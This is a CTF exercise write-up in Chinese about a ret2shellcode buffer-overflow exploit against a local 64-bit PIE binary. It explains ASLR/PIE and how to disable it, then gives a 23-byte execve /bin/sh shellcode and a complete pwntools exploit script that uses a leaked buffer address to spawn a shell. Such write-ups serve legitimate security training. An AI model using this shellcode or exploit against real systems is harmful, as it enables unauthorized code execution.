ret2shellcode-习题

binary

image-20191204084810779

64位的binary,开启Partial RELR0和PIE。

PIE/ASLR

1、简介

PIE(position-independent executables)和ASLR(address space layout randomization),地址空间布局随机化。

2、原理

在程序运行加载时,程序和其库文件都会被映射到虚拟地址空间的不同地址,其对应的地址随着每一次执行程序的 变化而变化。
通过地址空间随机化机制,阻止黑客在堆栈上执行shellcode。

3、开关

1
2
3
4
5
6
7
8
9
10
1)操作系统地址随机化: 
echo 0 /proc/sys/kernel/randomize_va_space #关闭地址空间随机化保护机制
echo 1 /proc/sys/kernel/randomize_va_space #将mmap基地址和stack与vdso页面随机化
echo 2 /proc/sys/kernel/randomize_va_space #将mmap基地址、stack与vdso页面和栈地址随机化

2)程序地址随机化:
gcc pie.c -o pie #默认情况下,开启PIE保护机制
gcc-no-pie pie.c -o pie #关闭PIE保护机制
gcc -fpie -pie pie.c -o pie #开启低强度PIE保护机制
gcc -fPIE -pie pie.c -o pie #开启高强度PIE保护机制

IDA

image-20191204090018943

binary存在溢出,尽管其开启了PIE,可是泄露出来了buf的地址。

image-20191204142028547

所以利用的思路就是ret2shellcode,往buf中填入shellcode,通过接受泄露出的buf地址,溢出劫持控制流去执行shellcode。

shellcode

1、选择

由于可填充的空间有限制,0x40=64,而pwntools中的shellcode长度在44,还得考虑填充buf的地址和垃圾数据问题,故选择一段23字节的64位shellcode

image-20191204131232323

1
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

2、部署

image-20191204131457251

为避免shellcode填充进去后,在执行过程中被leave指令破坏,不能将shellcode填充到最前面。

下面利用gdb进行动态调试解释:

GDB

image-20191204132050480

pwn

image-20191204141725367

exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *
offset = 0x10+8
p = process("./shellcode")
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
buf_addr = int(buf_addr,16)
payload = '\x90'*offset+p64(buf_addr+offset+8)+shellcode_x64
p.sendline(payload)
p.interactive()

image-20191204142604439

注意:shellcode_addr = buf_addr+offset+len(buf_addr)

reference

github-ctf-wiki